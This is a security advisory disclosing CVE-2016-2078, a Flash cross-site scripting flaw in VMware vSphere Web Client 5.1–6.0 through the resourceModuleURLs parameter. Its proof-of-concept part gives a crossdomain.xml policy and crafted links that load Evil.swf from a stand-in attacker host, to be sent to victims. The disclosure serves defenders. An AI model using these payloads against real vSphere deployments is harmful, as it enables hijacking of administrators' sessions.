Bugtraq: VMWare vSphere Web Client Flash XSS

[+] Credits: John Page aka hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source: http://ift.tt/1qJLxcy

[+] ISR: apparitionsec

Vendor:

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www.vmware.com

Product:

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VMWare vSphere Web Client v5.1 - 6.0

A server virtualization platform from VMware. Also referred to as a cloud operating system or virtualized data center platform, VMware vSphere enables

IT departments to efficiently place application workloads on the most cost-effective compute resource available

VMware vSphere includes the VMware ESX / ESXi hypervisor, a type 1 hypervisor that functions as the virtualization server; the VMware vCenter Server,

which manages vSphere environments; the VMware vSphere Client, which is used to install and manage virtual machines through the hypervisor; and

VMware VMFS, the file system component from VMware.

Vulnerability Type:

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Flash XSS

CVE Reference:

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CVE-2016-2078

Vulnerability Details:

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VMWare vSphere Web Client is vulnerable to Flash based XSS through the loading of arbitrary .SWF files via 'flashvars' parameter. Flashvars is a

Flash Player feature that allows passing of variables to the '_root' level of a Flash movie from the hosting webpage. Attackers can exploit this

to call arbitrary Flash actionscript functions on the victims Flash Player client through attacker supplied SWF files that execute in the same

security context as that of vSphere Web Client.

e.g.

flashvars: 'locale=en_US&localeChain=en_US&resourceModuleURLs=locales/UI-en_US.swf&

resourceModuleURLs=http%3A%2F%2Fattacker-site%2FEvil.swf',

References:

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VMSA-2016-0006

http://ift.tt/1Tz0g7Q

Exploit code(s):

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1) Attacker server needs Flash policy file "crossdomain.xml" It grants Flash Player permission to talk to servers other than

the one it's hosted on. This will allow victim server ability to talk to the evil server.

e.g.

<?xml version="1.0"?>

<cross-domain-policy>

<allow-access-from domain="*.vsphere-client.com" />

<allow-access-from domain="*vsphere-client.com" />

</cross-domain-policy>

2) Send infected linx to the victim.

https://victim:9443/vsphere-client/ui.jsp?resourceModuleURLs=http://atta

cker-site/Evil.swf

Disclosure Timeline:

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Vendor Notification: Jan 4, 2016

May 25, 2016 : Public Disclosure

Exploitation Technique:

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Remote

Severity Level:

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4.2 (Medium)

CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N

Description:

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Request Method(s): [+] GET

Vulnerable Product: [+] VMWare 5.1 - 6.0 vsphere-client

Vulnerable Parameter(s): [+] flashvars / resourceModuleURLs

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